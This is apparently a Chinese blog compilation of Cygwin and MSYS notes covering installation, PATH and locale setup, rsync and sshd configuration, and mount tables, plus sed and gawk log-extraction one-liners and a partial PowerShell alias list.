  8. -rwxr-xr-x    1 Lindows  Administ    28160 Mar 16  2004 chmod.exe  
  9. -rwxr-xr-x    1 Lindows  Administ      209 Mar 16  2004 cls  
  10. -rwxr-xr-x    1 Lindows  Administ      220 Mar 16  2004 clsb  
  11. -rwxr-xr-x    1 Lindows  Administ      206 Mar 16  2004 cmd  
  12. -rwxr-xr-x    1 Lindows  Administ    11264 Mar 16  2004 cmp.exe  
  13. -rwxr-xr-x    1 Lindows  Administ    21504 Mar 16  2004 comm.exe  
  14. -rwxr-xr-x    1 Lindows  Administ    74240 Mar 16  2004 cp.exe  
  15. -rwxr-xr-x    1 Lindows  Administ    24064 Mar 16  2004 cut.exe  
  16. -rwxr-xr-x    1 Lindows  Administ    47616 Mar 16  2004 date.exe  
  17. -rwxr-xr-x    1 Lindows  Administ    68608 Mar 16  2004 diff.exe  
  18. -rwxr-xr-x    1 Lindows  Administ    17920 Mar 16  2004 diff3.exe  
  19. -rwxr-xr-x    1 Lindows  Administ    17920 Mar 16  2004 dirname.exe  
  20. -rwxr-xr-x    1 Lindows  Administ      163 Mar 16  2004 echo  
  21. -rwxr-xr-x    1 Lindows  Administ      167 Mar 16  2004 egrep  
  22. -rwxr-xr-x    1 Lindows  Administ    18944 Mar 16  2004 env.exe  
  23. -rwxr-xr-x    1 Lindows  Administ      180 Mar 16  2004 ex  
  24. -rwxr-xr-x    1 Lindows  Administ    49152 Mar 16  2004 expr.exe  
  25. -rwxr-xr-x    1 Lindows  Administ    12288 Mar 16  2004 false.exe  
  26. -rwxr-xr-x    1 Lindows  Administ      167 Mar 16  2004 fgrep  
  27. -rwxr-xr-x    1 Lindows  Administ    90414 Mar 16  2004 find.exe  
  28. -rwxr-xr-x    1 Lindows  Administ    21504 Mar 16  2004 fold.exe  
  29. -rwxr-xr-x    1 Lindows  Administ      186 Mar 16  2004 ftp  
  30. -rwxr-xr-x    1 Lindows  Administ   149504 Mar 16  2004 gawk.exe  
  31. -rwxr-xr-x    1 Lindows  Administ    81408 Mar 16  2004 grep.exe  
  32. -rwxr-xr-x    1 Lindows  Administ      178 Mar 16  2004 gunzip  
  33. -rwxr-xr-x    1 Lindows  Administ    46592 Mar 16  2004 gzip.exe  
  34. -rwxr-xr-x    1 Lindows  Administ    26624 Mar 16  2004 head.exe  
  35. -rwxr-xr-x    1 Lindows  Administ    21504 Mar 16  2004 id.exe  
  36. -rwxr-xr-x    1 Lindows  Administ   163840 Mar 16  2004 info.exe  
  37. -rwxr-xr-x    1 Lindows  Administ    33280 Mar 16  2004 infokey.exe  
  38. -rwxr-xr-x    1 Lindows  Administ    41472 Mar 16  2004 install-info.exe  
  39. -rwxr-xr-x    1 Lindows  Administ    77824 Mar 16  2004 install.exe  
  40. -rwxr-xr-x    1 Lindows  Administ   147937 Mar 16  2004 less.exe  
  41. -rwxr-xr-x    1 Lindows  Administ   812063 Mar 16  2004 libW11.dll  
  42. -rwxr-xr-x    1 Lindows  Administ    72704 Mar 16  2004 ln.exe  
  43. -rwxr-xr-x    1 Lindows  Administ      481 Mar 16  2004 lnkcnv  
  44. -rwxr-xr-x    1 Lindows  Administ    69632 Mar 16  2004 ls.exe  
  45. -rwxr-xr-x    1 Lindows  Administ   118148 Mar 16  2004 m4.exe  
  46. -rwxr-xr-x    1 Lindows  Administ   135680 Mar 16  2004 make.exe  
  47. -rwxr-xr-x    1 Lindows  Administ   180224 Mar 16  2004 makeinfo.exe  
  48. -rwxr-xr-x    1 Lindows  Administ    27648 Mar 16  2004 md5sum.exe  
  49. -rwxr-xr-x    1 Lindows  Administ    28672 Mar 16  2004 mkdir.exe  
  50. -rwxr-xr-x    1 Lindows  Administ     9728 Mar 16  2004 mount.exe  
  51. -rwxr-xr-x    1 Lindows  Administ   789320 Mar 16  2004 msys-1.0.dll  
  52. -rwxr-xr-x    1 Lindows  Administ     1427 Mar 16  2004 msysinfo  
  53. -rwxr-xr-x    1 Lindows  Administ    81408 Mar 16  2004 mv.exe  
  54. -rwxr-xr-x    1 Lindows  Administ    36864 Mar 16  2004 od.exe  
  55. -rwxr-xr-x    1 Lindows  Administ    57344 Mar 16  2004 patch.exe  
  56. -rwxr-xr-x    1 Lindows  Administ      167 Mar 16  2004 printf  
  57. -rwxr-xr-x    1 Lindows  Administ    10752 Mar 16  2004 ps.exe  
  58. -rwxr-xr-x    1 Lindows  Administ      161 Mar 16  2004 pwd  
  59. -rwxr-xr-x    1 Lindows  Administ    62464 Mar 16  2004 rm.exe  
  60. -rwxr-xr-x    1 Lindows  Administ    22528 Mar 16  2004 rmdir.exe  
  61. -rwxr-xr-x    1 Lindows  Administ      183 Mar 16  2004 rvi  
  62. -rwxr-xr-x    1 Lindows  Administ      185 Mar 16  2004 rview  
  63. -rwxr-xr-x    1 Lindows  Administ      183 Mar 16  2004 rvim  
  64. -rwxr-xr-x    1 Lindows  Administ   504602 Mar 16  2004 rxvt.exe  
  65. -rwxr-xr-x    1 Lindows  Administ    48128 Mar 16  2004 sed.exe  
  66. -rwxr-xr-x    1 Lindows  Administ   476672 Mar 16  2004 sh.exe  
  67. -rwxr-xr-x    1 Lindows  Administ    18432 Mar 16  2004 sleep.exe  
  68. -rwxr-xr-x    1 Lindows  Administ    39936 Mar 16  2004 sort.exe  
  69. -rwxr-xr-x    1 Lindows  Administ    23552 Mar 16  2004 split.exe  
  70. -rwxr-xr-x    1 Lindows  Administ      184 Mar 16  2004 start  
  71. -rwxr-xr-x    1 Lindows  Administ    35840 Mar 16  2004 tail.exe  
  72. -rwxr-xr-x    1 Lindows  Administ   158208 Mar 16  2004 tar.exe  
  73. -rwxr-xr-x    1 Lindows  Administ    19456 Mar 16  2004 tee.exe  
  74. -rwxr-xr-x    1 Lindows  Administ    23490 Mar 16  2004 texi2dvi  
  75. -rwxr-xr-x    1 Lindows  Administ    29184 Mar 16  2004 texindex.exe  
  76. -rwxr-xr-x    1 Lindows  Administ    38400 Mar 16  2004 touch.exe  
  77. -rwxr-xr-x    1 Lindows  Administ    33280 Mar 16  2004 tr.exe  
  78. -rwxr-xr-x    1 Lindows  Administ    12288 Mar 16  2004 true.exe  
  79. -rwxr-xr-x    1 Lindows  Administ    18944 Mar 16  2004 uname.exe  
  80. -rwxr-xr-x    1 Lindows  Administ    24576 Mar 16  2004 uniq.exe  
  81. -rwxr-xr-x    1 Lindows  Administ      178 Mar 16  2004 vi  
  82. -rwxr-xr-x    1 Lindows  Administ      183 Mar 16  2004 view  
  83. -rwxr-xr-x    1 Lindows  Administ   551936 Mar 16  2004 vim.exe  
  84. -rwxr-xr-x    1 Lindows  Administ    32256 Mar 16  2004 wc.exe  
  85. -rwxr-xr-x    1 Lindows  Administ      165 Mar 16  2004 which  
  86. -rwxr-xr-x    1 Lindows  Administ    36954 Mar 16  2004 xargs.exe  

 

 


Here are some ports of common GNU  utilities to native Win32. In this context, native means the executables do only depend on the Microsoft C-runtime (msvcrt.dll) and not an emulation layer like that provided by Cygwin  tools.

 

The following program versions are covered:

bc-1.05
bison-1.28
bzip2-1.0.2
diffutils-2.7
fileutils-3.16
findutils-4.1
flex-2.5.4
gawk-3.1.0
grep-2.4.2
gsar110
gzip-1.2.4
indent-2.2.9
jwhois-2.4.1
less-340
m4-1.4
make-3.78.1
patch-2.5
recode-3.6
rman-3.0.7
sed-3.02
shellutils-1.9.4
tar-1.12
textutils-2.1

unrar-3.00
wget-1.8.2
which-2.4

 

 

http://www.cygwin.cn/site/info/

 · Cygwin使用指南   来源:互联网
 
 · Cygwin的安装   来源:互联网
 
 · Cygwin介绍   来源:互联网
 
 · cygwin,在win中开发linux程序   来源:CSDN
 
 · Cygwin的使用方法   来源:互联网

http://www.cygwin.cn/site/install/

http://www.cygwin.cn/setup.exe


http://zh.wikipedia.org/wiki/Cygwin

  • Cygwin/X 是运行在Cygwin上,实现X11自由软件
  • MinGW ,将GNU的开发工具,移植到Windows。
  • Services for UNIX微软 出的产品,类似于Cygwin,运行速度比较好,但未来版本不会应用在桌面系统中。
  • CoLinux ,运行Linux程序的另一方案,在Windows上运行自身的Linux。

使用

  • 双击桌面的Cygwin图标,即可启动Cygwin里的Bash。
  • 或者,你可将C:/Cygwin/bin加到%PATH%当中,您就可以直接在cmd.exe里面使用Linux命令了,比如less, cat, wc , wget
  • 如果您有一个Bash脚本,您可以直接用C:/Cygwin/bin/bash.exe X:/scripts/Monitor.sh的形式调用。

What Is Cygwin?

Cygwin is a Linux-like environment for Windows. It consists of two parts:

  • A DLL (cygwin1.dll) which acts as a Linux API emulation layer providing substantial Linux API functionality.
  • A collection of tools which provide Linux look and feel.

The Cygwin DLL currently works with all recent, commercially released x86 32 bit and 64 bit versions of Windows, with the exception of Windows CE.

Note that the official support for Windows 95, Windows 98, and Windows Me will be discontinued with the next major version (1.7.0) of Cygwin.

 

What Isn't Cygwin?

  • Cygwin is not a way to run native linux apps on Windows. You have to rebuild your application from source if you want it to run on Windows.
  • Cygwin is not a way to magically make native Windows apps aware of UNIX® functionality, like signals, ptys, etc. Again, you need to build your apps from source if you want to take advantage of Cygwin functionality.

 

Cygwin能做什么?

  • Windows的Dos Scripts功能非常薄弱,命令行工具也非常少;如果您对Linux比较熟悉,那么Cygwin可以帮助您在Windows下面使用强大的Bash,以 及使用数量繁多的Linux命令,通过Scripts,可以更加高效的完成系统管理工作 [站长维护的几台Windows服务器上都安装有Cygwin,所有的系统维护,数据备份,SCP自动同步,都是在Cygwin下面处理的。](不可否 认,很多时候,命令行工具比图形界面工具要方便快捷)
  • 如果您刚进入Linux的世界,使用Cygwin可以让你在Windows下面练习Linux的Bash,以及常用工具。而不需要安装Linux,也不用担心Windows被破坏。

怎么安装和使用Cygwin?

  • Cygwin所有的软件包都在互联网上,您需要先下载一个安装程序,根据安装程序的提示,从互联网上下载您需要的软件包。
  • 请点击导航栏的“安装”,查看整个安装过程。

Cygwin.cn是?

  • Cygwin在国外使用很广泛,Cygwin.cn旨在推广Cygwin在中国的普及和发展;
  • Cygwin.cn是Cygwin在中国的镜像,每天自动 同步所有的软件包到国内,方便大家安装;

http://baike.baidu.com/view/3968.htm

Cygwin

cygwin是一个在windows平台上运行的unix 模拟环境,是cygnus solutions公司开发的自由软件(该公司开发了很多好东西,著名的还有eCos,不过现已被Redhat 收 购)。它对于学习unix/linux操作环境,或者从unix到windows的应用程序移植,或者进行某些特殊的开发工作,尤其是使用gnu工具集在 windows上进行嵌入式系统开发,非常有用。随着嵌入式系统开发在国内日渐流行,越来越多的开发者对cygwin产生了兴趣。
  cygnus当初首先把gcc,gdb,gas等开发工具进行了改进,使他们能够生成并解释 win32的目标文件。然后,他们要把这些工具移植到windows平台上去。一种方案是基于win32 api对这些工具的源代码进行大幅修改,这样做显然需要大量工作。因此,他们采取了一种不同的方法——他们写了一个共享库(就是cygwin dll),把win32 api中没有的unix风格的调用(如fork,spawn,signals,select,sockets等)封装在里面,也就是说,他们基于 win32 api写了一个unix系统库的模拟层。这样,只要把这些工具的源代码和这个共享库连接到一起,就可以使用unix主机上的交叉编译器来生成可以在 windows平台上运行的工具集。以这些移植到windows平台上的开发工具为基础,cygnus又逐步把其他的工具(几乎不需要对源代码进行修改, 只需要修改他们的配置脚本)软件移植到windows上来。这样,在windows平台上运行bash和开发工具、用户工具,感觉好像在unix上工作。
  关于cygwin实现的更详细描述,请参考http://cygwin.com/cygwin-ug-net/highlights.html.

简介

Cygwin包括了一套库,该库在Win32系统下实现了POSIX系统调用的API;还有一套GNU开发工具集(比如GCC、GDB),这样可以进行简单的软件开发;还有一些UNIX系统下的常见程序。2001年,新增了X Window System。
  另外还有一个名为MinGW的库,可以跟Windows本地的MSVCRT库(Windows API)一起工作。MinGW占用内存、硬盘空间都比较少,能够链接到任意软件,但它对POSIX规范的实现没有Cygwin库完备。
  但糟糕的是,Cygwin不支持Unicode。实际上,除了当前Windows系统以及 OEM codepages(例如,一个俄语用户,他的codepages是CP1251和CP866,而不能是KOI8-R、ISO/IEC 8859-5、UTF-8等),Cygwin对其他字符集都不支持。
  Red Hat规定,Cygwin库遵守GNU General Public License,但也可以跟符合开源定义的自由软件链接。Red Hat另有价格不菲的许可协议,这样使用Cygwin库的专属软件,就可以进行再发布。
  你可以通过Cygwin Mailing Lists,订阅若干个Cygwin相关的邮件列表。

[编辑] 历史

Cygwin始于1995年,最初作为Cygnus工程师Steve Chamberlain的一个项目。当时Windows NT和Windows 95将COFF作为目标代码,而GNU已经支持x86和COFF,以及C语言库newlib。这样至少在理论上,可以将GCC重定向,作为cross compiler,从而产生能在Windows上运行的可执行程序。在后来的实践中,这很快实现了。
  接下来的问题是如何在Windows系统中引导编译器,这需要对Unix的足够模拟,以使 GNU configure的shell script可以运行,这样就用到像bash这样的shell,进而需要Fork和standard I/O。Windows含有类似的功能,所以Cygwin库只需要进行翻译调用、管理私有数据,比如文件描述符。
  1996年后,由于看到cygwin可以提供Windows系统上的Cygnus嵌入式工具 (以往的方案是使用DJGPP),其他工程师也加入了进来。特别吸引人的是,Cygwin可以实现three-way cross-compile,例如可以在Sun工作站上build,如此就形成Windows-x-MIPS cross-compiler,这样比单纯在PC上编译要快不少。1998年起,Cygnus开始将Cygwin包作为产品来提供。

扩展阅读:1.cygwin 镜像站: http://www.cygwin.cn

 

将linux程序移植到windows上的利具--cygwin

http://lfx-cool.iteye.com/blog/394839

对话 UNIX: 在 Windows 上使用 Cygwin

http://www.ibm.com/developerworks/cn/aix/library/au-spunix_cygwin/

在WINDOWS下利用Cygwin编译LINUX程序?

http://lfx-cool.iteye.com/blog/394898

收集到的cygwin使用资料

http://feidi.iteye.com/blog/54461

cygwin使用心得

http://garydo.iteye.com/blog/214010

1.在cygwin里访问Windows盘
cd /cygdrive/c
cd c:
2.整合cygwin命令到Windows中
假设cygwin安装在d:/develop/cygwin,则将d:/develop/cygwin/bin添加到系统变量PATH中(最好加 在 windows前面,这样的话,有些相同的命令的话,是先执行cygwin的命令,而不是windows命令,比如find)
就可以直接在cmd.exe下面执行tar czvf xxx.tgz ./
基本上所有的命令都可以用了,包括ls,more,less,find,grep等。
3.使用TGZ备份
将cygwin的BIN加入到PATH
建一个BAT文件:
@echo off
d:
cd d:\website\8thmanage
tar czvf 8thmanage.tgz 8thmanage
4.Windows使用SHELL脚本
将cygwin的BIN加入到PATH
在$CYGWIN的目录/var/下面建一脚本t.sh,注意,t.sh里面的路径,都是相对于$CYGWIN的,里面需要访问C盘的,请用/cygdrive/c/
在Windows下执行:
d:\cygwin\bin\bash d:\cygwin\var\t.sh
(可以定期执行)
5.同步Windows系统用户
mkpasswd -l > /etc/passwd
mkgroup -l > /etc/group
如果有Domain的话,需要加上-d domainname
6.安装系统服务
cygrunsrv
7.cygwing下使用rsync
a.安装rsync组件
b.进入cygwin,配置服务器
vi /etc/rsyncd.conf
...screts file=/etc/tom.ipaddr.pas
配置文件,参考我写的另外一篇rsync的文章,注意:密码文件权限必须是0400
chmod 0400 /etc/tom.ipaddr.pas
c.启动服务端
rsync --daemon
d.客户端同步
在客户端的cygwin下面,运行rsync同步,具体命令,请参考另外一篇rsync的文章。
8.cygwin下使用SSHD
a.需要安装了cygrunsrc,openssh
b.运行ssh-host-config -y
一路回车,直到出现CYGWIN=时,输入tty ntsec,再回车,
(或者,增加一系统环境变量CUGWIN=nesec tty)
c.已经安装好SSHD服务到你的Windows服务中,可以直接在服务中启动,关闭。
(cygrunsrc -S sshd或者net start sshd)
9.中文显示
vi ~/.bashrc
# 让ls和dir命令显示中文和颜色
alias ls='ls --show-control-chars --color' 
alias dir='dir -N --color'
# 设置为中文环境,使提示成为中文
export LANG="zh_CN.GBK"
# 输出为中文编码
export OUTPUT_CHARSET="GBK"
~/.inputrc为 
set completion-ignore-case on 
set meta-flag on 
set output-meta on 
set convert-meta off 
cygwin.bat脚本为: 
@echo off 
set MAKE_MODE=UNIX 

--------------------------------
安装
可以直接到http://www.cygwin.com下载一个安装程序,setup.exe,这个程序只是一个安装程序,所有的模块将从网络下 载安装。或者,你可以下载一个cygwin.iso的镜像,直接映象成光盘,再从光盘本地安装,这样会快很多,而且不用考虑断线的问题。

X下的中文支持
locale支持
Cygwin的locale支持一直都有问题,好在X程序还可以使用XLOCALE。
建议还是使用zh_CN.gbk, 不要使用zh_CN.GB2312
在移植程序时需要注意不要让程序连接libcygwin.a里面的setlocale,而是采用libX11.a里面的_Xsetlocale。方法是:检查被移植程序的全部源代码,发现 
#include 
就修改为 
#define X_LOCALE
#include 
同时注意程序的连接库要添加-lX11.
如果对于结果没有把握,可以找个Dependency Walker查看程序是否连接到了cygwin1.dll里面的setlocale,如果是,就说明有遗漏。
中文字体
PCF点阵字体
GTK1.x 和其他一些老的X程序都是用X字体,
注意必须要有编码与locale一致的字体,比如用zh_CN.gbk就必须要由GBK编码的字体,用zh_CN.GB2312就必须要有GB2312编码的字体
如果使用zh_CN.GB2312,这里有一个RedOffice面带的点阵字体包
可以采用ttf2bdf从TTF抽取得到bdf格式,然后再用bdf2pcf得到pcf格式的字体文件。
(这里有一个Windows版本的TTF2BDF,可以将Windows TTF字体转换出BDF字体, 注意得到bdf后要手工编辑一下文件头,将编码声明修改正确)

到字体之后,放到某个目录下,执行mkfontdir生成fonts.dir,然后用xset +fp
/path/to/your/fonts将字体路径加入即可(注意与fontconfig的配置不同,这里路径是不递归的,如果有的字体放在子目录里面,
子目录也需要添加进去才行)。

TTF字体
很多新的应用程序(比如GTK2)都使用fontconfig/libxft2来显示字体,它对TTF字体的支持比较好(X以前通过freetype, xft模块也支持TTF字体,但对中日韩字体的支持不是太好,而且也在Cygwin下似乎也没有这些模块)
完全可以使用Linux下的arphic字体包. 如果没有安装Linux,可以到http://packages.debian.org下载相应的包,然后用7zip解压提取出ttf文件。
得到字体文件之后,放到某个目录之下,编辑/etc/fonts/local.conf,将字体路径加入:
/path/to/my/ttf/fonts如果只是自己使用,可以将字体文件放到~/.fonts下,不需要修改任何配置,最多三十秒fontconfig就能够发现这些字体了。

中文输入法
老黄(hzhr)移植了miniChinput到Cygwin,我也移植了fcitx-1.8.5和3.0,均可以从我的网站上找到 http://www.oliwen.com/bama...
一般设置了LC_CTYPE和XMODIFIERS就可以在程序中激活输入输入法了(除非这个程序没有XIM支持):
LC_CTYPE=zh_CN.gbk
XMODIFIERS="@im=Chinput"
export LC_CTYPE XMODIFIERS
对于fcitx而言,XMODIFIERS设置为什么都可以(但必须要设置),所以设置为"@im=Chinput"的话chinput和fcitx都可以正常使用
VI中的 Backspace 與 Delete 按鍵異常
首先確定 $TERM的設定為cygwin

echo $TERM

若不是,請設定為

TERM = cygwin 
export TERM

Backspace 與 Delete這兩個鍵正常狀況下只有一個有用。可在 $HOME/.bash_profile 任選一個來使用

stty erase '^H' //ctrl+v, ctrl+h 

stty erase '^?' 

Cygwin使用指南

http://feidi.iteye.com/blog/54461

Cygwin使用指南
1 引言
cygwin 是一个在windows平台上运行的unix模拟环境,是cygnus solutions公司开发的自由软件(该公司开发了很多好东西,著名的还有eCos,不过现已被Redhat收购)。它对于学习unix/linux操 作环境,或者从unix到windows的应用程序移植,或者进行某些特殊的开发工作,尤其是使用gnu工具集在windows上进行嵌入式系统开发,非 常有用。随着嵌入式系统开发在国内日渐流行,越来越多的开发者对cygwin产生了兴趣。本文将对其作一介绍。

2 机理
cygnus 当初首先把gcc,gdb,gas等开发工具进行了改进,使他们能够生成并解释win32的目标文件。然后,他们要把这些工具移植到windows平台上 去。一种方案是基于win32 api对这些工具的源代码进行大幅修改,这样做显然需要大量工作。因此,他们采取了一种不同的方法——他们写了一个共享库(就是cygwin dll),把win32 api中没有的unix风格的调用(如fork,spawn,signals,select,sockets等)封装在里面,也就是说,他们基于 win32 api写了一个unix系统库的模拟层。这样,只要把这些工具的源代码和这个共享库连接到一起,就可以使用unix主机上的交叉编译器来生成可以在 windows平台上运行的工具集。以这些移植到windows平台上的开发工具为基础,cygnus又逐步把其他的工具(几乎不需要对源代码进行修改, 只需要修改他们的配置脚本)软件移植到windows上来。这样,在windows平台上运行bash和开发工具、用户工具,感觉好像在unix上工作。
关于cygwin实现的更详细描述,请参考http://cygwin.com/cygwin-ug-net/highlights.html.

3 安装设置cygwin
3.1 安装
要安装网络版的cygwin,可以到http://cygwin.com,点击"Install Cygwin Now!"。这样会先下载一个叫做setup.exe的GUI安装程序,用它能下载一个完整的cygwin。按照每一屏的指示可以方便的进行安装。
3.2 环境变量
开始运行bash之前,应该设置一些环境变量。cygwin提供了一个.bat文件,里面已经设置好了最重要的环境变量。通过它来启动bash是最安全的办法。这个.bat文件安装在cygwin所在的根目录下。 可以随意编辑该文件。
CYGWIN变量用来针对cygwin运行时系统进行多种全局设置。开始时,可以不设置CYGWIN或者在执行bash前用类似下面的格式在dos框下把它设为tty
C:\> set CYGWIN=tty notitle glob

PATH 变量被cygwin应用程序作为搜索可知性文件的路径列表。当一个cygwin进程启动时,该变量被从windows格式(e.g. C:\WinNT\system32;C:\WinNT)转换成unix格式(e.g., /WinNT/system32:/WinNT)。如果想在不运行bash的时候也能够使用cygwin工具集,PATH起码应该包含x:\cygwin \bin,其中x:\cygwin 是你的系统中的cygwin目录。
HOME变量用来指定主目录,推荐在执行bash前定义该变量。当 cygwin进程启动时,该变量也被从windows格式转换成unix格式,例如,作者的机器上HOME的值为C:\(dos命令set HOME就可以看到他的值,set HOME=XXX可以进行设置),在bash中用echo $HOME看,其值为/cygdrive/c.
TERM变量指定终端型态。如果美对它进行设置,它将自动设为cygwin。
LD_LIBRARY_PATH被cygwin函数dlopen()作为搜索.dll文件的路径列表,该变量也被从windows格式转换成unix格式。多数Cygwin应用程序不使用dlopen,因而不需要该变量。
3.3 改变cygwin的最大存储容量
Cygwin 程序缺省可以分配的内存不超过384 MB(program+data)。多数情况下不需要修改这个限制。然而,如果需要更多实际或虚拟内存,应该修改注册表的 HKEY_LOCAL_MACHINE或HKEY_CURRENT_USER区段。田家一个DWORD键heap_chunk_in_mb并把它的值设为 需要的内存限制,单位是十进制MB。也可以用cygwin中的regtool完成该设置。例子如下:
regtool -i set /HKLM/Software/Cygnus\ Solutions/Cygwin/heap_chunk_in_mb 1024
regtool -v list /HKLM/Software/Cygnus\ Solutions/Cygwin

4 使用cygwin
这一段讲一下cygwin和传统unix系统的不同之处。
4.1 映射路径名
4.1.1 引言
cygwin 同时支持win32和posix风格的路径,路径分隔符可以是正斜杠也可以是反斜杠。还支持UNC路径名。(在网络中,UNC是一种确定文件位置的方法, 使用这种方法用户可以不关心存储设备的物理位置,方便了用户使用。在Windows操作系统,Novell Netware和其它操作系统中,都已经使用了这种规范以取代本地命名系统。在UNC中,我们不用关心文件在什么盘(或卷)上,不用关心这个盘(或卷)所 在服务器在什么地方。我们只要以下面格式就可以访问文件:
\\服务器名\共享名\路径\文件名
共享名有时也被称为文件所在卷或存储设备的逻辑标识,但使用它的目的是让用户不必关心这些卷或存储设备所在的物理位置。)
符合posix标准的操作系统(如linux)没有盘符的概念。所有的绝对路径都以一个斜杠开始,而不是盘符(如c:)。所有的文件系统都是其中的子目录。例如,两个硬盘,其中之一为根,另一个可能是在/disk2路径下。
因 为许多unix系统上的程序假定存在单一的posix文件系统结构,所以cygwin专门维护了一个针对win32文件系统的内部posix视图,使这些 程序可以在windows下正确运行。在某些必要的情况下,cygwin会使用这种映射来进行win32和posix路径之间的转换。
4.1.2 cygwin mount表
cygwin 中的mount程序用来把win32盘符和网络共享路径映射到cygwin的内部posix目录树。这是与典型unix mount程序相似的概念。对于那些对unix不熟悉而具有windows背景的的人来说,mount程序和早期的dos命令join非常相似,就是把一 个盘符作为其他路径的子目录。
路径映射信息存放在当前用户的cygwin mount表中,这个mount table 又在windows的注册表中。这样,当该用户下一次登录进来时,这些信息又从注册表中取出。mount 表分为两种,除了每个用户特定的表,还有系统范围的mount表,每个cygwin用户的安装表都继承自系统表。系统表只能由拥有合适权限的用户 (windows nt的管理员)修改。
当前用户的mount表可以在注册表"HKEY_CURRENT_USER/Software/Red Hat, Inc./Cygwin/mounts v" 下看到。系统表
存在HKEY_LOCAL_MACHINE下。
posix 根路径/缺省指向系统分区,但是可以使用mount命令重新指向到windows文件系统中的任何路径。cygwin从win32路径生成posix路径 时,总是使用mount表中最长的前缀。例如如果c:被同时安装在/c和/,cygwin将把C:/foo/bar转换成/c/foo/bar.
如果不加任何参数地调用mount命令,会把Cygwin当前安装点集合全部列出。在下面的例子中,c盘是POSIX根,而d盘被映射到/d。本例中,根是一个系统范围的安装点,它对所有用户都是可见的,而/d仅对当前用户可见。
c:\> mount
f:\cygwin\bin on /usr/bin type system (binmode)
f:\cygwin\lib on /usr/lib type system (binmode)
f:\cygwin on / type system (binmode)
e:\src on /usr/src type system (binmode)
c: on /cygdrive/c type user (binmode,noumount)
e: on /cygdrive/e type user (binmode,noumount)
还可以使用mount命令增加新的安装点,用umount删除安装点。
当Cygwin 不能根据已有的安装点把某个win32路径转化为posix路径时,cygwin会自动把它转化到一个处于缺省posix路径/cygdrive下的的一 个安装点. 例如,如果Cygwin 访问Z:\foo,而Z盘当前不在安装表内,那么Z:\将被自动转化成/cygdrive/Z.
可以给每个安装点赋予特殊的属性。自动安装的分区显示为“auto”安装。安装点还可以选择是"textmode"还是 "binmode",这个属性决定了文本文件和二进制文件是否按同样的方式处理。
4.1.3 其他路径相关信息
cygpath工具提供了在shell脚本中进行win32-posix路径格式转换的能力。
HOME, PATH,和LD_LIBRARY_PATH环境变量会在cygwin进程启动时自动被从Win32格式转换成了POSIX格式(例如,如果存在从该win32路径到posix路径的安装,会把c:\cygwin\bin转为/bin)。

 

 

对话 UNIX: 在 Windows 上使用 Cygwin

http://www.ibm.com/developerworks/cn/aix/library/au-spunix_cygwin/

 

按照行号析取access.log文本段 / 切割特定文本段 / 查找指定文本段 / 抽取指定文本段 / 筛选 指定文本段

[root@SmartEDM3 ~]# cat access_log_2012-09-17-19_00_00 | gawk 'BEGIN {i=0;} {i=i+1; if((i>219)&&(i<279999)) print $0;}' > /tmp/t  

按照时间戳 析取 access.log文本段 / 切割特定文本段 / 查找指定文本段 / 抽取指定文本段 / 筛选指定文本段

[root@SmartEDM3 ~]# cat access_log_2012-09-17-19_00_00 | sed -n '/20:59:59/,/21:59:59/p'

[root@SmartEDM3 ~]# cat access_log_2012-09-17-19_00_00 | sed -n "/20:59:59/,/21:59:59/p"

 

 

Windows PowerShell 基础知识  /

打开Win7

打开cmd / dos

输入powershell

输入get-command | sort commandtype | out-file powershell_cmd_list.txt

打开powershell_cmd_list.txt查看命令语法并学习和使用

Html代码
  1. CommandType     Name                                                Definition                                           
  2. -----------     ----                                                ----------                                           
  3. Alias           gc                                                  Get-Content                                          
  4. Alias           gbp                                                 Get-PSBreakpoint                                     
  5. Alias           gcm                                                 Get-Command                                          
  6. Alias           gci                                                 Get-ChildItem                                        
  7. Alias           gal                                                 Get-Alias                                            
  8. Alias           ft                                                  Format-Table                                         
  9. Alias           ogv                                                 Out-GridView                                         
  10. Alias           nv                                                  New-Variable                                         
  11. Alias           fw                                                  Format-Wide                                          
  12. Alias           nal                                                 New-Alias                                            
  13. Alias           ndr                                                 New-PSDrive                                          
  14. Alias           mp                                                  Move-ItemProperty                                    
  15. Alias           mv                                                  Move-Item                                            
  16. Alias           ni                                                  New-Item                                             
  17. Alias           gdr                                                 Get-PSDrive                                          
  18. Alias           gcs                                                 Get-PSCallStack                                      
  19. Alias           nmo                                                 New-Module                                           
  20. Alias           nsn                                                 New-PSSession                                        
  21. Alias           rcjb                                                Receive-Job                                          
  22. Alias           rd                                                  Remove-Item                                          
  23. Alias           r                                                   Invoke-History                                       
  24. Alias           rbp                                                 Remove-PSBreakpoint                                  
  25. Alias           etsn                                                Enter-PSSession                                      
  26. Alias           epcsv                                               Export-Csv                                           
  27. Alias           epal                                                Export-Alias                                         
  28. Alias           erase                                               Remove-Item                                          
  29. Alias           epsn                                                Export-PSSession                                     
  30. Alias           foreach                                             ForEach-Object                                       
  31. Alias           fl                                                  Format-List                                          
  32. Alias           oh                                                  Out-Host                                             
  33. Alias           popd                                                Pop-Location                                         
  34. Alias           fc                                                  Format-Custom                                        
  35. Alias           pushd                                               Push-Location                                        
  36. Alias           pwd                                                 Get-Location                                         
  37. Alias           exsn                                                Exit-PSSession                                       
  38. Alias           ps                                                  Get-Process                                          
  39. Alias           gsv                                                 Get-Service                                          
  40. Alias           gu                                                  Get-Unique                                           
  41. Alias           gsn                                                 Get-PSSession                                        
  42. Alias           gsnp                                                Get-PSSnapIn                                         
  43. Alias           gv                                                  Get-Variable                                         
  44. Alias           history                                             Get-History                                          
  45. Alias           icm                                                 Invoke-Command                                       
  46. Alias           gwmi                                                Get-WmiObject                                        
  47. Alias           h                                                   Get-History                                          
  48. Alias           gm                                                  Get-Member                                           
  49. Alias           gl                                                  Get-Location                                         
  50. Alias           gp                                                  Get-ItemProperty                                     
  51. Alias           gmo                                                 Get-Module                                           
  52. Alias           gjb                                                 Get-Job                                              
  53. Alias           gps                                                 Get-Process                                          
  54. Alias           group                                               Group-Object                                         
  55. Alias           gi                                                  Get-Item                                             
  56. Alias           ghy                                                 Get-History                                          
  57. Alias           ls                                                  Get-ChildItem                                        
  58. Alias           man                                                 help                                                 
  59. Alias           kill                                                Stop-Process                                         
  60. Alias           lp                                                  Out-Printer                                          
  61. Alias           md                                                  mkdir                                                
  62. Alias           mount                                               New-PSDrive                                          
  63. Alias           move                                                Move-Item                                            
  64. Alias           measure                                             Measure-Object                                       
  65. Alias           mi                                                  Move-Item                                            
  66. Alias           ii                                                  Invoke-Item                                          
  67. Alias           ipal                                                Import-Alias                                         
  68. Alias           iex                                                 Invoke-Expression                                    
  69. Alias           ihy                                                 Invoke-History                                       
  70. Alias           ipcsv                                               Import-Csv                                           
